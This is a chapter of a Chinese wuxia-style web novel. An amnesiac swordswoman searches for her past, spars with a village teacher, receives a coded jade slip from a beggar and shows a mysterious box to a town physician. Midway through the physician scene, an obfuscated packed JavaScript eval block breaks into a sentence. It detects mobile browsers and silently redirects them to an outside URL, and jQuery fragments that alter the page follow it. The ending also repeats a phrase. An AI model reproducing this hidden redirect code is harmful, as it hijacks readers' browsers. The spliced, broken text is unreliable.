“求求你……别杀我……”
血色手掌穿透黑暗无声迫近。夜来攥紧的剑刃凝着暗红血痂,黏腻触感令她指尖发颤,当腥气扑面时——
“娘亲!”
稚嫩哭喊刺破梦境,夜来猛然睁眼。牛车颠簸中,蒙童诵读声如清泉漫过耳畔。
“蒹葭苍苍……所谓伊人……在水之——”
粗布短打的青年擦拭着草药竹篾:“阿霜又魇着了?”
满载药草的牛车吱呀摇晃,艾草苦涩,裹着新晒陈皮的气息沁入肺腑。夜来摩挲着褪色香囊的织纹,十日来这动作已成习惯。孙婆婆曾说,除却那柄剑鞘与红漆木盒,此物是她坠崖时唯一紧攥的旧物。
夜来垂眸道:“许是记起些零碎片段,倒累得孙大哥挂心。”
“总闷着不好,还是要出来透透气。”阿柱挠着后脑勺道,“附近村寨都问遍了,许是要往更远些打听。最近山脚下总有些生面孔,咱这穷乡僻壤的,倒不知他们图个啥。”
“劳你们费神。”夜来轻叹,渐远的读书声随牛车颠簸散在风里,她心底泛起说不清的惆怅,“...方才那些孩子,念的是什么?”
阿柱拍着脑门:“约莫是诗经?说来阿霜梦里也总念叨蒹葭啥的?我这粗人记不真切。顾大哥倒是说过,那是首相思的曲子。”
夜来眼睫微颤:“蒹...葭......”朦胧间似有素手凝霜,裹着她的小手执枯枝在泥地上描画。
“蒹葭萋萋...白露未晞——”
娘亲...
“孙大哥,我想折回去瞧瞧。”记忆碎如飞絮,夜来忽地跃下车辇,素纱帷帽翻飞,正掠过阿柱鼻尖。
“当心摔着!”阿柱急拽缰绳。田间劳作的乡邻纷纷驻足,暗叹这般行云流水的姿态,莫不是仙娥落了凡尘?
恍惚间,那袭青衫似在竹影婆娑处朝她含笑招手——
“娘亲...等等我...”襟前香囊灼得心口发烫,她辨不清虚实,只凭着昏朦视线,跌跌撞撞追到学堂,却闻琅琅书声已换了新篇。
夜来一把扣住一稚童细腕,急促追问:“蒹葭是什么?再说一次!”
稚童惊痛交加,登时嚎啕大哭,满堂书声刹寂。
“是你...姑娘此举何为?莫要惊吓稚子。”堂前先生落下戒尺,快步挡在学童身前,其正是隐居山间,教书谋生的顾见春。他忆起自己曾封住这姑娘经脉,以防她失控伤人,此刻暗自庆幸——若任其施展掌力,那孩童手臂恐难保全。
夜来耳尖微动,察觉对方步履暗含章法,分明是习武之人的根基,顿时后撤半步摆出戒备姿态。
“蒹葭,再念一遍。”她冷声重复要求,目光如刃。
“原是来讨教学问的。”顾见春沉吟须臾,却忽展颜宽笑,转头温声安抚学童,“且安心诵读,先生去去就来。”
他近前一步,方欲抬手相邀,夜来却误判为攻势,玉掌如刀,直取咽喉。电光石火间,顾见春翻腕格挡,两股劲气相撞发出闷响。夜来被震退十余步,青石板路上拖出浅浅足痕。她衣衫微乱,帷帽轻摇,露出一小段玉颈与雪白下颌。
“哎呀!非礼勿视,非礼勿视......”孩童们慌忙用书本遮住眼睛。
“嗯?”顾见春面露诧异,随即关切询问,“在下情急出手,失了分寸,姑娘可还安好?”
“哼......”夜来扶正帷帽冷言讥讽,“虚情假意,故作姿态。”话音未落,她突然意识到这话竟不假思索脱口——难道自己本性竟是这般尖刻?
孩童们顿时哄笑作一团。
“咳...”顾见春摸了摸鼻梁,缓解尴尬,“姑娘方才说要学蒹葭,不如由在下代为讲授?”
夜来面若冰霜,明知理亏,却仍倔强抿唇。
“阿霜...可算找到你了......”阿柱气喘吁吁追至,恰好打破凝滞气氛。
“顾大哥今日又来授课?”见是顾见春,阿柱连忙端正仪态,“方才匆匆路过,未曾及时见礼......”
顾见春摆手笑道:“阿柱兄弟不必拘礼。只是不知这位姑娘......”
阿柱憨笑着将人引至树荫下,将事情原委和盘托出,又为双方郑重引见。
“原是寻记忆而下山...阿霜姑娘大可直言,何苦闹出这般误会?”顾见春朝夜来作揖。
夜来侧身避开礼数,顾见春只当她性情乖僻,兀自吟诵起蒹葭。经此风波,少女既失了追忆兴致,亦对这教书先生心生嫌隙。
“那便谢过。孙大哥,我们走!”夜来生硬道谢,拂袖疾步离去。
目送二人身影渐远,顾见春凝眉环顾,总觉暗处有窥视目光如影随形。四下探查无果,他只得暗叹,自己携苏氏遗孤隐匿乡野,终究不能有半分松懈。
......
老牛打了个响鼻,顺从静伫。
“呵呵...都是误会一场...”阿柱握着缰绳,黝黑脸庞透着诚恳,“其实顾大哥待我们极好的,教人识字习武从不藏私。他自愿来村里教孩子们识字,所收束脩比镇上塾师便宜四成有余呢......”
“孙大哥勿忧,原是我唐突了。”夜来垂眸掩去眼底波澜,却温声道,“我只是...太想知道过去之事了...”
“哎……这也是人之常情吧。”阿柱抓了抓脖子后面,露出憨厚的笑容,“你上回提到那个木盒子的事儿,娘说镇上百善堂的方老郎中行医六十年,经验最老道,见识也广,或许可以请他看看。”
夜来应声时,仍摩挲着香囊出神。车马驶入双溪镇,暮色里街市依旧人声鼎沸,她一时心绪稍宽。
铺前阿柱与掌柜交割,南境民风豁达,女子独坐车辕也无人侧目。夜来听着市井俚语,檐下炊烟裹着饭香,不觉按了按香囊所在。
她动作倏然停滞,再次感受到一道目光的注视——那双在暗处执着窥探的眼睛,每逢她行经双溪总能遇见。四周笼罩于朦胧暮色,任凭她如何凝神寻觅,始终无法寻得那目光来源。
夜来环顾周遭,天地间唯余混沌暮霭,几番探寻,终究徒劳无功。
正当此刻,一只布满皱纹的手突然伸向夜来,将她惊了一跳。夜来讶然抬头,只见面前站着个蓬头垢面的老乞丐。
“姑娘行行好,赏口吃的吧...”老者声音沙哑含混,枯枝般的手掌不住颤抖。
夜来探手入袖,只摸到枚铜钱,轻轻放在对方掌心。夕色在铜板上折射出微弱辉芒。
“老丈见谅,身上未带吃食,这个可使得?”她话音未落,忽然察觉老者接钱时,指尖在她腕间若有似无地叩了三下。
夜来眉头微蹙,指节骤然发力擒住老乞丐手腕。老乞丐吃痛却未呼痛,反是躬身长揖道:“贵人慈悲,老朽拜谢!”话音未落,他已挣脱桎梏。
怔忡间,阿柱脚步声渐近,待夜来回眸,巷口惟余斜阳残照,哪还有乞丐踪影。
“阿霜,怎么了?”阿柱见她神色恍惚,疾步上前探问。
“没事,遇上个乞丐...”夜来摇头,长袖轻垂,掩住她微颤的指尖。她掌心正攥着一枚单薄玉简,上面正刻着数行秘文。
夜来指尖微微摩挲,分明那篆纹盘曲晦涩,不知怎的,她却能心领神会——
公子钧令,既已得手,速往黛城。
......
“这木匣…老朽确实从未见过此类物件。”老者轻捻胡须,眯起眼睛端详着红漆木盒,“看形制不似
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274210|166670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中州产物,这些铭文倒与西州商队旗幡上的符号相仿…只可惜老朽毕生未踏足西域,实在帮不上忙。”
百善堂内药香氤氲,往来求药者络绎不绝,青衣药童手持铜秤立于檀木柜前,眉眼含笑将各色药材包入桑皮纸中,纸绳翻飞如蝶,口中殷殷关切。
“多谢先生指点。”夜来颔首致谢,眸光却暗了几分。
“老先生费心了。阿霜莫急,咱们再往城南打听。”
二人正要转身,方大夫忽然架上水晶镜片,目光灼灼盯着夜来腰间赤色剑鞘——
“这物件…倒是稀罕得紧…”
“先生识得此物?”夜来急切转身。
“此物煞气萦绕,倒与老朽珍藏的血苁蓉有异曲同工之妙。”
“血苁蓉?”
方大夫面露赧色:“此乃越州战乱时偶得的奇珍,历经数代兵戈淬炼,方在尸山血海中长成灵物。不过…”他忽然抱紧药匣,“此等珍宝老朽可不出让。”
“咱们哪敢奢望…”阿柱憨笑着挠挠后脑。
“依老朽看,这剑鞘沾染的亡魂,怕是不比边关古战场少啊…”
夜来指尖轻颤,血色梦境忽又浮现眼前,心头空落落的像是被剜去一角。
阿柱忽然想起什么,急切问道:“老先生可否再为阿霜诊治毒症?她的眼疾当真无法可医了吗?”
方大夫连连摆手,枯瘦的手指捻着银须:“月前便已诊过脉了。老夫行医半生,这般诡谲的毒症实属罕见。能保住性命已是万幸,莫要再奢求其他。”
“况且这姑娘如今气色红润,行动如常。”他捋着胡须瞥向窗外,“可比你当日描述的危重情形好上许多。孙家小子,莫要再让老朽为难了。”
两人听罢相顾无言,只得默默退出医馆。夜来倏然回身,可那道莫名目光却已然消失无踪。
方大夫猛然拍额:“孙家阿柱!让你娘下回记得多采些紫草!”
“好嘞好嘞!”阿柱在远处挥动草帽应答。
牛车晃动,夜来却听那方大夫拨动算珠时的絮絮低语。
“这月紫草耗得忒快,双溪镇拢共百十户人,哪来这许多刀伤火燎的...”
车轱辘碾过青石板的声响渐行渐远,余下的话头尽数碎在夜风里。
“操这份闲心作甚,横竖不过是个药铺...”方大夫揉着酸胀的后腰,忽地拔高嗓门,“默翁!又野到何处去了?速来搬药材!”
后厨传来踢踢踏踏的脚步声,惹得他竖眉喝骂:“每回货到就寻不见人影!莫不是踩着时辰躲懒?”
里屋转出个独目跛足的老仆,脸上蜈蚣似的疤痕随着手势扭动,喉间发出咿呀怪响。
“比划清楚些?”方大夫眯起昏花老眼凑近细瞧。
这跟了他二十载的哑仆竟显出罕见的焦灼,树皮般的面皮涨作猪肝色。
“你想探听...方才那女子...的来历?”方大夫捏着胡须揣测。
“我上哪儿知晓去!”方大夫甩着衣袖催他扛箱。这残躯老仆单手拎起半人高的药箱,筋肉虬结的臂膀仍不减当年气力。若非贪图他工钱低廉又寡言勤快,这般骇人相貌早被别家药铺撵出门去。
末了又补道:“虽说毁了容,眼神儿不大好使,总归像个正经人家的姑娘...瞧着与孙家后生眉来眼去...怕是好事将近咯...”
“嗬...嘿...嘿......”砂纸磨铁般的笑声自默翁喉头滚出,惊得方大夫险些跌了戥子,暗忖莫不是常年试药见了奇效。
“阿柱...大喜...”默翁晃着花白脑袋,肩头沉甸甸的木箱竟轻似柳絮。
“老痴儿...”方大夫笑啐一口,低头捣起药来。口,低头捣起药来。